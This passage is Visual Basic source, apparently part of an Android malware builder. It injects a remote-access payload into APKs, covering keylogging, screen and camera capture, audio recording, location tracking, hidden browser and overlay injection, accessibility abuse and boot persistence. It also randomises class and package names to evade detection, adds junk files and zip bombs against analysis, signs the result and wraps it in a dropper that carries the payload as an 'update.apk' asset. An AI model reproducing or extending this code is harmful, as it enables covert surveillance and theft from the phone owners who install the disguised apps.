Worker.appversion + " " + Random_Word()).Replace("331165", Worker.appversion.Replace(".", "")) + File.WriteAllText(yml, readyml) + End If + + + + If Not IsCustomeApp Then + 'Write + If Not AllManifist.ToLower.Contains("android.permission.WRITE_EXTERNAL_STORAGE".ToLower()) AndAlso addFilesAccess Then + need_write = True + End If + + 'external storage sdk 33 + If Not AllManifist.ToLower.Contains("android.permission.MANAGE_EXTERNAL_STORAGE".ToLower()) AndAlso addFilesAccess Then + need_externalstorage = True + End If + + 'battery + If Not AllManifist.ToLower.Contains("android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS".ToLower()) AndAlso addBatteryOptimization Then + need_battery = True + End If + + 'Read + If Not AllManifist.ToLower.Contains("android.permission.READ_EXTERNAL_STORAGE".ToLower) AndAlso addFilesAccess Then + need_read = True + End If + + 'ground + If Not AllManifist.ToLower.Contains("android.permission.FOREGROUND_SERVICE".ToLower) Then + need_forground = True + End If + + 'system window + If Not AllManifist.ToLower.Contains("android.permission.SYSTEM_ALERT_WINDOW".ToLower) AndAlso addDrawOverApps Then + need_syswinow = True + End If + + 'BOOT COMPLETE + If Not AllManifist.ToLower.Contains("android.permission.RECEIVE_BOOT_COMPLETED".ToLower) Then + need_boot = True + End If + + 'READ_PHONE_STATE + If Not AllManifist.ToLower.Contains("android.permission.READ_PHONE_STATE".ToLower) Then + need_read_stste = True + End If + + + End If + + + 'If ASKPRIM_all = "1" Then + ' need_all = True + + ' Dim arryprims() As String = My.Resources.ALLPRIM.Split("#") + ' For Each pri As String In arryprims + ' Try + ' If Not String.IsNullOrEmpty(pri) Then + ' If Not AllManifist.ToLower.Contains(pri.ToLower) Then + ' ALLPRIMSLIST.Add(pri) + ' End If + ' End If + ' Catch ex As Exception + + ' End Try + ' Next + 'End If + + + Mylogger.Logbuild(userid, ">" & "> Coding AndroidManifest...") + + Dim x As Integer = 16 + Dim y As Integer = 29 + N_ClassGen = RandommMad(x, y) + NActivityMonitors = RandommMad(x, y) + N_ActivityCaptureScreen = RandommMad(x, y) + N_AccessTools = RandommMad(x, y) + N_wakeitaiv = RandommMad(x, y) + N_LockActivity = RandommMad(x, y) + N_AccessServices = RandommMad(x, y) + N_HiddenBrowser = RandommMad(x, y) + N_AccessibilityActivity = RandommMad(x, y) + + N_update_app_ = RandommMad(x, y) + N_Contct_manager = RandommMad(x, y) + + N_Deviceinfo = RandommMad(x, y) + N_My_Configs = RandommMad(x, y) + N_ActivityDraw = RandommMad(x, y) + N_My_Crpter = RandommMad(x, y) + N_filesManager = RandommMad(x, y) + N_id_Commands = RandommMad(x, y) + N_KeyStorksQ = RandommMad(x, y) + N_LiveChat = RandommMad(x, y) + N_QueryChats = RandommMad(x, y) + N_LiveKeysStrok = RandommMad(x, y) + N_StarterServices = RandommMad(x, y) + N_LocationMonitor = RandommMad(x, y) + N_LockAppsActivity = RandommMad(x, y) + N_ActivMain = RandommMad(x, y) + N_MyLoger = RandommMad(x, y) + N_MyNotification = RandommMad(x, y) + N_MyPacket = RandommMad(x, y) + N_MyPermissions = RandommMad(x, y) + N_MySettings = RandommMad(x, y) + N_PermissionsActivity = RandommMad(x, y) + N_PingServices = RandommMad(x, y) + N_RequestDraw = RandommMad(x, y) + N_Requestinstall = RandommMad(x, y) + N_RequestPermissions2 = RandommMad(x, y) + N_ScreenCaps = RandommMad(x, y) + N_ScreenReceiver = RandommMad(x, y) + N_mysmanager = RandommMad(x, y) + N_StatusMonitor = RandommMad(x, y) + N_UtliTools = RandommMad(x, y) + N_VoiceRecorder = RandommMad(x, y) + N_WorkServices = RandommMad(x, y) + N_HiddenActivity = RandommMad(x, y) + N_RestrectionActivity = RandommMad(x, y) + N_OPPOAutostart = RandommMad(x, y) + N_BrodcastActivity = RandommMad(x, y) + N_UninstallActivity = RandommMad(x, y) + N_EngineWorker = RandommMad(x, y) + N_RequestDataUsage = RandommMad(x, y) + N_Webjector = RandommMad(x, y) + N_TransparentActivity = RandommMad(x, y) + N_WebBrowser = RandommMad(x, y) + N_ProxyService = RandommMad(x, y) + + N_Apps_Manage = RandommMad(x, y) + N_AudioRecorder = RandommMad(x, y) + N_CameraCap = RandommMad(x, y) + N__ChatActivity_ = RandommMad(x, y) + N__MyCods_ = RandommMad(x, y) + N__Consts_ = RandommMad(x, y) + + accesstagdata_New = RandommMad(x, y) + + + If IsCustomeApp Then + newpkg = appid + Else + newpkg = Random_Word() & "." & Random_Word() & "." & Random_Word() + End If + + + + newpkg_insmali = "L" & newpkg.Replace(".", "/") + + + drop_newpkg = Random_Word() & "." & Random_Word() & "." & Random_Word() + drop_newpkg_insmali = "L" & drop_newpkg.Replace(".", "/") + + Mylogger.Logbuild(userid, "New apk PKG: " + newpkg) + + + If Not IsCustomeApp Then + To_Obfucate.AddRange(ResoursIds) + To_obfuscate_androidx.AddRange(ResoursIds) + End If + + + For Each originalString As String In To_Obfucate + Obfucated(originalString) = RandommMad(x, y) + Next + + + 'TODO: Check if need keep screen + 'If checkkeepscreen.Checked = True Then + ' KeepScreen = "on" + 'End If + + Dim ManifistLines As String() = File.ReadAllLines(TheApkPath & "\" & "AndroidManifest.xml") + + If Not IsCustomeApp Then +back2: + + If FileInUse(TheApkPath & "\" & "apktool.yml") Or Not File.Exists(TheApkPath & "\" & "apktool.yml") Then + Thread.Sleep(1000) + GoTo back2 + End If + + + ' Dim apktoolyml As String() = File.ReadAllLines(TheApkPath & "\" & "apktool.yml") + + + 'For index = 0 To apktoolyml.Length - 1 + ' If apktoolyml(index).ToLower.Contains("targetSdkVersion".ToLower) Then + ' apktoolyml(index) = " targetSdkVersion: '29'" + ' File.WriteAllLines(TheApkPath & "\" & "apktool.yml", apktoolyml) + ' Exit For + ' End If + 'Next + If addAccess Then + File.WriteAllText(Worker.TheApkPath + $"\res\xml\{accesstagdata_New}.xml", My.Resources.accessibilityprivatesrcapp) + Else + File.WriteAllText(Worker.TheApkPath + $"\res\xml\{accesstagdata_New}.xml", My.Resources.emptyaccess) + End If + For index = 1 To ManifistLines.Length - 1 + + If need_write AndAlso ManifistLines(index).ToLower.Contains("> Updating Res files...") + Dim publicxmlpath As String = Worker.TheApkPath + "\res\values\public.xml" + + + Do + Thread.Sleep(100) + Loop While Not File.Exists(publicxmlpath) Or FileInUse(publicxmlpath) + + Dim allstr As String = File.ReadAllText(publicxmlpath).Replace(accesstagdata, accesstagdata_New) + File.WriteAllText(publicxmlpath, allstr) + + + + Dim accessxmlpath As String = Worker.TheApkPath + $"\res\xml\{accesstagdata}.xml" + Do + Thread.Sleep(100) + Loop While Not File.Exists(accessxmlpath) Or FileInUse(accessxmlpath) + Dim n_accessxmlpath As String = Worker.TheApkPath + $"\res\xml\{accesstagdata_New}.xml" + + File.Move(accessxmlpath, n_accessxmlpath) + + + Dim manisiftcontent As String = File.ReadAllText(Worker.TheApkPath + "\AndroidManifest.xml").Replace(AccessibilityActivity, N_AccessibilityActivity) _ + .Replace(AccessServices, N_AccessServices) _ + .Replace(HiddenBrowser, N_HiddenBrowser) _ + .Replace(AccessTools, N_AccessTools) _ + .Replace(wakeitaiv, N_wakeitaiv) _ + .Replace(LockActivity, N_LockActivity) _ + .Replace(ActivityCaptureScreen, N_ActivityCaptureScreen) _ + .Replace(ActivityMonitors, NActivityMonitors) _ + .Replace(_update_app_, N_update_app_) _ + .Replace(Consts, N__Consts_) _ + .Replace(MyCods, N__MyCods_) _ + .Replace(ChatActivity, N__ChatActivity_) _ + .Replace(CameraCap, N_CameraCap) _ + .Replace(Contct_manager, N_Contct_manager) _ + .Replace(Deviceinfo, N_Deviceinfo) _ + .Replace(My_Configs, N_My_Configs) _ + .Replace(ActivityDraw, N_ActivityDraw) _ + .Replace(My_Crpter, N_My_Crpter) _ + .Replace(filesManager, N_filesManager) _ + .Replace(id_Commands, N_id_Commands) _ + .Replace(KeyStorksQ, N_KeyStorksQ) _ + .Replace(LiveChat, N_LiveChat) _ + .Replace(QueryChats, N_QueryChats) _ + .Replace(LiveKeysStrok, N_LiveKeysStrok) _ + .Replace(StarterServices, N_StarterServices) _ + .Replace(LocationMonitor, N_LocationMonitor) _ + .Replace(LockAppsActivity, N_LockAppsActivity) _ + .Replace(ActivMain, N_ActivMain) _ + .Replace(MyLoger, N_MyLoger) _ + .Replace(MyNotification, N_MyNotification) _ + .Replace(MyPacket, N_MyPacket) _ + .Replace(MyPermissions, N_MyPermissions) _ + .Replace(MySettings, N_MySettings) _ + .Replace(PermissionsActivity, N_PermissionsActivity) _ + .Replace(PingServices, N_PingServices) _ + .Replace(RequestDraw, N_RequestDraw) _ + .Replace(Requestinstall, N_Requestinstall) _ + .Replace(RequestPermissions2, N_RequestPermissions2) _ + .Replace(ScreenCaps, N_ScreenCaps) _ + .Replace(ScreenReceiver, N_ScreenReceiver) _ + .Replace(mysmanager, N_mysmanager) _ + .Replace(StatusMonitor, N_StatusMonitor) _ + .Replace(UtliTools, N_UtliTools) _ + .Replace(VoiceRecorder, N_VoiceRecorder) _ + .Replace(WorkServices, N_WorkServices) _ + .Replace(HiddenActivity, N_HiddenActivity) _ + .Replace(RestrectionActivity, N_RestrectionActivity) _ + .Replace(OPPOAutostart, N_OPPOAutostart) _ + .Replace(BrodcastActivity, N_BrodcastActivity) _ + .Replace(UninstallActivity, N_UninstallActivity) _ + .Replace(EngineWorker, N_EngineWorker) _ + .Replace(RequestDataUsage, N_RequestDataUsage) _ + .Replace(Webjector, N_Webjector) _ + .Replace(TransparentActivity, N_TransparentActivity) _ + .Replace(WebBrowser, N_WebBrowser) _ + .Replace(ProxyService, N_ProxyService) _ + .Replace(oldpkg, newpkg) _ + .Replace(oldpkg_insmali, newpkg_insmali) _ + .Replace(ClassGen, N_ClassGen) _ + .Replace(accesstagdata, accesstagdata_New) _ + .Replace(AudioRecorder, N_AudioRecorder) _ + .Replace(Apps_Manage, N_Apps_Manage) + + + + + File.WriteAllText(TheApkPath + "\AndroidManifest.xml", ConfuseAndObfuscateManifestXml(manisiftcontent)) + Else + File.WriteAllLines(TheApkPath & "\" & "AndroidManifest.xml", ManifistLines) + End If + + Catch ex As Exception + Mylogger.LogError(userid, "Step2", ex.Message) + End Try + End Sub + + Sub SignMe(ByVal name As String, ByVal value As String) + Try + + Using key As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\AppWorkers") + + key.SetValue(name, value) + + End Using + Catch ex As Exception + + End Try + End Sub + + + + Sub singout(ByVal name As String) + Try + Using key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\AppWorkers", writable:=True) + If key IsNot Nothing Then + key.DeleteValue(name, throwOnMissingValue:=False) + + Mylogger.Logbuild(userid, $"Key '{name}' removed successfully.") + Else + + Mylogger.Logbuild(userid, "Registry subkey not found.") + End If + End Using + Catch ex As Exception + Mylogger.LogError(userid, "singout error occurred: ", ex.Message) + End Try + End Sub + + Sub Step1() + Mylogger.Logbuild(Worker.userid, ">> Step1 Started..") + Mylogger.Logbuild(Worker.userid, ">> Preparation Started..") + Worker.HoldMainThread = True + Dim folder_building As String = "" + Try + + If IsCustomeApp Then + folder_building = GenerateRandomFolderName("custom") + Else + folder_building = GenerateRandomFolderName("jector") + End If + Catch ex As Exception + Mylogger.Logbuild(Worker.userid, "Error Create Work Folder:" + ex.Message) + Environment.[Exit](0) + End Try + Worker.WorkingDir = folder_building + Worker.TheApkPath = Worker.WorkingDir + "\temp" + Dim flag As Boolean = Not Directory.Exists(Worker.TheApkPath) + If flag Then + Directory.CreateDirectory(Worker.TheApkPath) + End If + Worker.cmdProcess = New Process() + Dim cmdStartInfo As ProcessStartInfo = New ProcessStartInfo() + cmdStartInfo.FileName = "cmd.exe" + cmdStartInfo.WorkingDirectory = folder_building + cmdStartInfo.RedirectStandardOutput = True + cmdStartInfo.RedirectStandardInput = True + cmdStartInfo.RedirectStandardError = True + cmdStartInfo.UseShellExecute = False + cmdStartInfo.CreateNoWindow = True + cmdStartInfo.WindowStyle = ProcessWindowStyle.Hidden + Worker.cmdProcess.EnableRaisingEvents = True + Worker.cmdProcess.StartInfo = cmdStartInfo + AddHandler Worker.cmdProcess.OutputDataReceived, AddressOf Worker.cmdOutputHandler + AddHandler Worker.cmdProcess.ErrorDataReceived, AddressOf Worker.cmdOutputHandler + Worker.cmdProcess.Start() + Worker.cmdProcess.BeginOutputReadLine() + Worker.cmdProcess.BeginErrorReadLine() + Worker.apktemp = folder_building + "\temp.apk" + Worker.apktoolpath = folder_building + "\apktool.jar" + Worker.Apksignerpath = folder_building + "\signapk.jar" + Worker.ApkZIPpath = folder_building + "\zipalign.exe" + Worker.Apkeditorpath = folder_building + "\ApkEditor.jar" + Worker.extractorzip = folder_building + "\7.exe" + Worker.ExecuteCommand("java -version") + Do + Thread.Sleep(1) + Loop While Worker.HoldMainThread + + + + End Sub + Private Sub ExecuteCommand(command As String) + cmdProcess.StandardInput.WriteLine(command) + cmdProcess.StandardInput.Flush() + End Sub + + + + Private Sub cmdOutputHandler(sender As Object, e As DataReceivedEventArgs) + If Not String.IsNullOrEmpty(e.Data) Then + + + Try + + Dim msg As String = e.Data.ToString + + If msg.Contains("java is not recognized") Then + + + Mylogger.Logbuild(userid, ">" & "> Java not installed : go to google and install (java jdk)") + singout(MYID) + Environment.Exit(0) + + End If + If msg.Length > 0 Then + Mylogger.Logbuild(userid, ">" & " Builder CMD:" & msg) + End If + + If msg.StartsWith("I:") Then + + + Mylogger.Logbuild(userid, ">" & msg.Replace("I:", "> ")) + + + ElseIf msg.Contains("[PROTECT]") AndAlso Not msg.Contains("Writing:") Then + + Mylogger.Logbuild(userid, ">" & msg) + + ElseIf msg.StartsWith("W:") Then + Mylogger.Logbuild(userid, ">" & msg.Replace("W:", "Warning :")) + ElseIf msg.StartsWith("E:") Then + + Mylogger.Logbuild(userid, ">" & msg.Replace("E:", "ERROR :")) + + End If + + If msg.Contains("[PROTECT] Saved to") Then + Waitprotect = False + + End If + + If msg.Contains("Java(TM)") Or msg.Contains("OpenJDK") Then + If Not Once Then + Once = True + + + Mylogger.Logbuild(userid, ">" & "> Extract New Data..") + + + originalapkname = appid + + + + File.Copy(ZIPPATH, WorkingDir + "\" + "temp.zip") + + File.WriteAllBytes(apktoolpath, My.Resources.apktool) + File.WriteAllBytes(Apksignerpath, My.Resources.signapk) + File.WriteAllBytes(ApkZIPpath, My.Resources.zipalign) + File.WriteAllBytes(Apkeditorpath, My.Resources.APKEditor) + File.WriteAllBytes(extractorzip, My.Resources._7zip) + + + + + + Mylogger.Logbuild(userid, ">" & "> Extract Apk Start..") + + + ExecuteCommand("cd " & WorkingDir) + ExecuteCommand("7.exe x " & """" & WorkingDir + "\" + "temp.zip" & """" & " -otemp") + + End If + + ElseIf msg.Contains("Everything is Ok") Then + + Mylogger.Logbuild(userid, ">" & "> Extract Finish..") + + + HoldMainThread = False + + + ElseIf msg.Contains("Built apk") Then + + If fordroper Then + Waitbuild = False + Return + End If + +hold1: + + If Not File.Exists(outputapk) Then + Thread.Sleep(1000) + GoTo hold1 + End If + + + + Mylogger.Logbuild(userid, ">" & " pump assets..") + + AddZipBombEncrypted(outputapk) + + + + + + + + Dim zipoutprotected As String = outputapk.Replace(".apk", "_protected.apk") + + If Not IsCustomeApp Then + Mylogger.Logbuild(userid, ">" & "Skip Protect in inject..") + ' File.Copy(outputapk, zipoutprotected) + File.Move(outputapk, zipoutprotected) + + Else + Mylogger.Logbuild(userid, ">" & " Protect Apk..") + Waitprotect = True + Dim protectcommand As String = "java -jar " & Apkeditorpath & " p " & " -i " & """" & outputapk & """" + ExecuteCommand(protectcommand) + +hold3: + + If Not File.Exists(zipoutprotected) Or Waitprotect Then + Thread.Sleep(1000) + GoTo hold3 + End If + + File.Delete(outputapk) + End If + + + 'zipoutput = zipoutprotected + + + Mylogger.Logbuild(userid, ">" & "> Zip Align..") + + + + + Dim zipcomadn As String = ApkZIPpath + " 4 " & """" & zipoutprotected & """" & " " & """" & zipoutprotected.Replace("Ready_protected.apk", "Ready_zip.apk") & """" + Dim zipoutput As String = zipoutprotected.Replace("Ready_protected.apk", "Ready_zip.apk") + ExecuteCommand(zipcomadn) + +hold2: + + If Not File.Exists(zipoutput) Or FileInUse(zipoutput) Then + Thread.Sleep(5000) + GoTo hold2 + End If + + + + File.Delete(zipoutprotected) + + + 'TODO: Add protect to the apk + ' If checkprotector.Checked Then + + + + ' End If + + + + + + Mylogger.Logbuild(userid, ">" & "> Sign APK..") + + + + File.WriteAllBytes(WorkingDir & "\certificate.pem", My.Resources.certificate) + File.WriteAllBytes(WorkingDir & "\key.pk8", My.Resources.key) + + + + + Dim signoutput As String = WorkingDir & "\out\" & originalapkname.Replace(".apk", "_Jected.apk") + Dim singcommand As String = "java -jar " & """" & Apksignerpath & """" & " sign --key " & WorkingDir & "\key.pk8 --cert " & WorkingDir & "\certificate.pem --v2-signing-enabled true --v3-signing-enabled true --out " & """" & WorkingDir & "\out" & "\" & originalapkname.Replace(".apk", "_Jected.apk") & """" & " " & """" & zipoutput & """" + ExecuteCommand(singcommand) + + +hold4: + + If Not File.Exists(signoutput) Or FileInUse(signoutput) Then + Thread.Sleep(5000) + GoTo hold4 + End If + + + File.Delete(zipoutput) + + + Mylogger.Logbuild(userid, ">" & + "-----------Finished-------------" & vbNewLine & + "> App: " & originalapkname & vbNewLine) + + + + ' userfolder + "\" + appid + ".apk" + + If File.Exists(userfolder + "\" + appid + ".apk") Then + File.Delete(userfolder + "\" + appid + ".apk") + End If + + For index = 1 To 5 + Thread.Sleep(1000) + + Next + + If use_access <> "1" Or installtype = "g" Then + + + Mylogger.Logbuild(userid, "No Drooper needed...") + + + + Mylogger.Logbuild(userid, "signoutput: " + signoutput) + + If Not Directory.Exists(userfolder) Then + Directory.CreateDirectory(userfolder) + End If + + 'If Not Directory.Exists(userfolder + "\" + appid) Then + ' Directory.CreateDirectory(userfolder + "\" + appid) + 'End If + + Mylogger.Logbuild(userid, "userfolder: " + userfolder + "\" + appid) + + File.Move(signoutput, userfolder + "\" + appid + ".apk") + + + For index = 1 To 30 + Thread.Sleep(100) + + Next + + + + Worker.UpdateState(Worker.finished) + Mylogger.Logbuild(userid, "Cleanning...") + + Try + 'Cleaning + Mylogger.Logbuild(userid, "Cleanning WorkingDir...") + DirectoryDeleteLong(WorkingDir) + Catch ex As Exception + Mylogger.Logbuild(userid, "error WorkingDir: " + ex.Message) + End Try + + + + HoldFinishing = False + + StopCommandPrompt() + Exit Sub + + End If + + TargetAPKPATH = signoutput + + + BackgroundWorker1 = New System.ComponentModel.BackgroundWorker() + If Not BackgroundWorker1.IsBusy Then + BackgroundWorker1.RunWorkerAsync() + End If + + + + End If + + Catch ex As Exception + + + Mylogger.LogError(userid, ">" & "Global Error: ", ex.Message) + singout(MYID) + + Try + 'Cleaning + Mylogger.Logbuild(userid, "Cleanning WorkingDir...") + DirectoryDeleteLong(WorkingDir) + Catch ex2 As Exception + Mylogger.LogError(userid, "error WorkingDir 2: ", ex.Message) + End Try + + Environment.Exit(0) + End Try + + + End If + End Sub + + Private Sub BackgroundWorker1_DoWork(sender As Object, e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork + Try + Mylogger.Logbuild(userid, "Extracting...") + + + 'TargetApkicon + 'appid + + Dim folder_building As String + + + Try + folder_building = Generatedrop("drp") + Catch ex As Exception + Mylogger.Logbuild(userid, "Error Droper Work Folder:" + ex.Message) + Environment.Exit(0) + End Try + + WorkDIR = folder_building + + STUBPATH = WorkDIR + "\STUB" + outputpath = WorkDIR + "\out" + buildapkpath = outputpath + "\" + "temp.apk" + + + + Directory.CreateDirectory(WorkDIR) + Directory.CreateDirectory(WorkDIR + "\tools") + Directory.CreateDirectory(STUBPATH) + Directory.CreateDirectory(outputpath) + + + apktoolpath = WorkDIR + "\tools\" + "apktool.jar" + Apksignerpath = WorkDIR + "\tools\" + "signapk.jar" + ApkZIPpath = WorkDIR + "\tools\" + "zipalign.exe" + Apkeditorpath = WorkDIR + "\tools\" + "ApkEditor.jar" + + C = WorkDIR + "\tools\" + "certificate.pem" + K = WorkDIR + "\tools\" + "key.pk8" + + + + ' File.WriteAllBytes(apktoolpath, My.Resources.apktool) + ' File.WriteAllBytes(Apksignerpath, My.Resources.signapk) + ' File.WriteAllBytes(ApkZIPpath, My.Resources.zipalign) + ' File.WriteAllBytes(Apkeditorpath, My.Resources.APKEditor) + 'File.WriteAllBytes(STUBPATH & "\drop.zip", My.Resources.dropstub) + + + + File.WriteAllBytes(apktoolpath, My.Resources.apktool) + File.WriteAllBytes(Apksignerpath, My.Resources.signapk) + File.WriteAllBytes(ApkZIPpath, My.Resources.zipalign) + File.WriteAllBytes(Apkeditorpath, My.Resources.APKEditor) + + ' File.WriteAllBytes(STUBPATH & "\drop.zip", My.Resources.dropstub) + File.Copy(DropStub, STUBPATH & "\drop.zip") + + Thread.Sleep(1000) + System.IO.Compression.ZipFile.ExtractToDirectory(STUBPATH & "\drop.zip", STUBPATH) + + Thread.Sleep(1000) + File.Delete(STUBPATH & "\drop.zip") + + + Mylogger.Logbuild(userid, ">" & "loading payload...") + + + assetspath = STUBPATH + "\assets" + + BASEPATH = assetspath + "\update.apk" + + If File.Exists(BASEPATH) Then + File.Delete(BASEPATH) + End If + + + File.Copy(TargetAPKPATH, BASEPATH) + + Mylogger.Logbuild(userid, "bmb assets droper..") + InjectRandomJunkFiles(assetspath) + InjectRandomJunkFiles(assetspath) + + + + stringspath = STUBPATH + "\res\values\strings.xml" + MainfistPath = STUBPATH + "\AndroidManifest.xml" + stubicon = STUBPATH + "\res\drawable\myicon.png" + + + ' Dim theppname As String = Path.GetFileName(appdir) + + Dim yml As String = STUBPATH + "\apktool.yml" + Do + Thread.Sleep(100) + Loop While Not File.Exists(yml) Or FileInUse(yml) + Dim readyml As String = File.ReadAllText(yml).Replace("3.31.165", Worker.appversion + " " + Random_Word()).Replace("331165", Worker.appversion.Replace(".", "")) + File.WriteAllText(yml, readyml) + + + + Mylogger.Logbuild(userid, "loading data...") + + Dim allstr As String = File.ReadAllText(stringspath).Replace("[MY-NAME]", InsertZWNJ(appname)) + + File.WriteAllText(stringspath, allstr) + + + Dim strarray() As String = File.ReadAllLines(stringspath) + Dim junkstr As String = "" + For index = 1 To 200 + junkstr += " " + Random_Word() + RandommMad(4, 15) + "" + vbNewLine + Next + + For i As Integer = 0 To strarray.Length - 1 + If strarray(i).Contains("") + Dim newBytes As Byte() = icobytes.Concat(junk).ToArray() + File.WriteAllBytes(stubicon, newBytes) + + 'File.Copy(TargetApkicon, stubicon) + + + + + Mylogger.Logbuild(userid, "Encoding") + + + ClassesPath = STUBPATH + "\smali\com\appd\instll" + + + + + Dim allfiles() As String = Directory.GetFiles(STUBPATH + "\smali\com\appd\instll") + + ' Dim allfiles2() As String = Directory.GetFiles(STUBPATH + "\smali\com\apps\drooper") + + + N_Class1 = RandomSTR(10, 20) + N_Class2 = RandomSTR(10, 20) + N_Class3 = RandomSTR(10, 20) + N_Class4 = RandomSTR(10, 20) + N_Class5 = RandomSTR(10, 20) + N_ClassGen6 = RandomSTR(10, 20) + N_ClassGen7 = RandomSTR(10, 20) + + + + Dim allmanifist As String = File.ReadAllText(MainfistPath).Replace(ClassGen1, N_Class1) _ + .Replace(ClassGen2, N_Class2) _ + .Replace(ClassGen3, N_Class3) _ + .Replace(ClassGen4, N_Class4) _ + .Replace("[T_ID]", appid) _ + .Replace(ClassGen6, N_ClassGen6) _ + .Replace(ClassGen7, N_ClassGen7) _ + .Replace("target.app.rep", appid) _ + .Replace(drop_oldpkg, drop_newpkg) _ + .Replace(ClassGen5, N_Class5) + + ' File.WriteAllText("c:\test\emini.xml", allmanifist) + + File.WriteAllText(MainfistPath, ConfuseAndObfuscateManifestXml(allmanifist)) + + For Each smali In allfiles + + Dim smalitext As String = File.ReadAllText(smali).Replace("[T_ID]", appid) _ + .Replace(ClassGen1, N_Class1) _ + .Replace(ClassGen2, N_Class2) _ + .Replace(ClassGen3, N_Class3) _ + .Replace(ClassGen4, N_Class4) _ + .Replace(ClassGen6, N_ClassGen6) _ + .Replace(ClassGen7, N_ClassGen7) _ + .Replace(drop_oldpkg, drop_newpkg) _ + .Replace(drop_oldpkg_insmali, drop_newpkg_insmali) _ + .Replace(ClassGen5, N_Class5) + + File.WriteAllText(smali, smalitext) + + Next + + Mylogger.Logbuild(userid, ">" & "> Encryption ALL 2...") + + Dim dropsmali = STUBPATH + "\smali" + + For Each fileInMain As String In Directory.GetFiles(dropsmali, "*.smali", SearchOption.AllDirectories) + If Not fileInMain.Contains("\android\") AndAlso Not fileInMain.Contains("\androidx\") Then + + + + Dim fileContent As String = File.ReadAllText(fileInMain) + Dim newContent As String = fileContent.Replace("[T_ID]", appid) _ + .Replace(ClassGen1, N_Class1) _ + .Replace(ClassGen2, N_Class2) _ + .Replace(ClassGen3, N_Class3) _ + .Replace(ClassGen4, N_Class4) _ + .Replace(ClassGen6, N_ClassGen6) _ + .Replace(ClassGen7, N_ClassGen7) _ + .Replace(drop_oldpkg, drop_newpkg) _ + .Replace(drop_oldpkg_insmali, drop_newpkg_insmali) _ + .Replace(ClassGen5, N_Class5) + + + + File.WriteAllText(fileInMain, newContent) + + End If + Next + + + Mylogger.Logbuild(userid, "junk classes Dropper...") + + GenerateJunkSmaliFiles(dropsmali, 245) + + ' ShuffleSmaliFiles(STUBPATH, 7) + + + Mylogger.Logbuild(userid, "Building Dropper...") + fordroper = True + ExecuteCommand("java -jar " & apktoolpath & " b -f " & STUBPATH & " -o " & buildapkpath) + Do + Thread.Sleep(1000) + + Loop While Waitbuild + + Mylogger.Logbuild(userid, "bmb droper..") + + AddZipBombEncrypted(buildapkpath) + + + + Waitprotect = True + + Mylogger.Logbuild(userid, "Protect Dropper..") + + Dim protectedoutput As String = buildapkpath.Replace(".apk", "_protected.apk") + Dim protectcommand As String = "java -jar " & Apkeditorpath & " p " & " -i " & """" & buildapkpath & """" + ExecuteCommand(protectcommand) + + + Do + Thread.Sleep(1000) + Loop While Waitprotect Or FileInUse(protectedoutput) + + + File.Delete(buildapkpath) + + Mylogger.Logbuild(userid, "Zip Align..") + + + Dim zipcomadn As String = ApkZIPpath + " 4 " & """" & protectedoutput & """" & " " & """" & protectedoutput.Replace("temp_protected.apk", "temp_zip.apk") & """" + Dim zipoutput As String = protectedoutput.Replace("temp_protected.apk", "temp_zip.apk") + ExecuteCommand(zipcomadn) + + Do + Thread.Sleep(1000) + Loop While Not File.Exists(zipoutput) Or FileInUse(zipoutput) + + + + File.Delete(protectedoutput) + + + Mylogger.Logbuild(userid, "Signing Dropper..") + + File.WriteAllBytes(C, My.Resources.certificate) + File.WriteAllBytes(K, My.Resources.key) + + Thread.Sleep(1000) + + Dim signoutput As String = outputpath & "\" & originalapkname.Replace(".apk", "_Dropper.apk") + Dim singcommand As String = "java -jar " & """" & Apksignerpath & """" & " sign --key " & """" & K & """" & " --cert " & """" & C & """" & " --v2-signing-enabled true --v3-signing-enabled true --out " & """" & signoutput & """" & " " & """" & zipoutput & """" + ExecuteCommand(singcommand) + + Do + Thread.Sleep(1000) + Loop While Not File.Exists(signoutput) Or FileInUse(signoutput) Or FileInUse(zipoutput) + + + File.Delete(zipoutput) + + For index = 1 To 5 + Thread.Sleep(1000) + + Next + + File.Move(signoutput, userfolder + "\" + appid + ".apk") + + For index = 1 To 30 + Thread.Sleep(100) + + Next + + Worker.UpdateState(Worker.finished) + Mylogger.Logbuild(userid, "Cleanning...") + Try + 'Cleaning + Mylogger.Logbuild(userid, "WorkDIR...") + DirectoryDeleteLong(WorkDIR) + Catch ex As Exception + Mylogger.LogError(userid, "error WorkDIR 2 : ", ex.Message) + End Try + + Try + 'Cleaning + Mylogger.Logbuild(userid, "Cleanning WorkingDir...") + DirectoryDeleteLong(WorkingDir) + Catch ex As Exception + Mylogger.LogError(userid, "error WorkingDir: ", ex.Message) + End Try + + + HoldFinishing = False + + StopCommandPrompt() + + Catch ex As Exception + + Worker.UpdateState(Worker.failed) + Mylogger.LogError(userid, ">" & "Global Error 22: ", ex.Message) + + singout(MYID) + + Try + 'Cleaning + Mylogger.Logbuild(userid, "Cleanning WorkingDir...") + DirectoryDeleteLong(WorkingDir) + Catch ex2 As Exception + Mylogger.Logbuild(userid, "error WorkingDir: " + ex.Message) + End Try + + Environment.Exit(0) + + End Try + End Sub + + + + + Private C As String = "" + Private K As String = "" + + Dim Waitprotect As Boolean = True + Dim Waitbuild As Boolean = True + Dim fordroper As Boolean = False + + Private ClassGen1 As String = "BroReceiver" + Private ClassGen2 As String = "ConfirmDialog" + Private ClassGen3 As String = "MainActivity" + Private ClassGen4 As String = "SecoundActivity" + Private ClassGen5 As String = "SessionManager" + Private ClassGen6 As String = "splash" + Private ClassGen7 As String = "constants" + + Private N_Class1 As String = "" + Private N_Class2 As String = "" + Private N_Class3 As String = "" + Private N_Class4 As String = "" + Private N_Class5 As String = "" + Private N_ClassGen6 As String = "" + Private N_ClassGen7 As String = "" + + + Private stubicon As String = "" + Private MainfistPath As String = "" + Private stringspath As String = "" + Private TargetAPKPATH As String = "" + Private TargetApkicon As String = "" + Private WorkDIR As String + Private outputpath As String = "" + Private buildapkpath As String = "" + Private STUBPATH As String = "" + Private BASEPATH As String = "" + Private assetspath As String = "" + Private ClassesPath As String = "" + + + + Private Sub StopCommandPrompt() + Try + cmdProcess.CloseMainWindow() + cmdProcess.Close() + cmdProcess.Dispose() + Catch ex As Exception + + End Try + End Sub + Private Async Sub UpdateState(subCommand As String) + + If IsCustomeApp Then + Dim client As HttpClient = New HttpClient() + Dim jsonData As String = JsonConvert.SerializeObject(New Dictionary(Of String, Object)() From {{"userid", Worker.userid}, {"appid", Worker.appid}, {"subcom", subCommand}}) + Dim content As StringContent = New 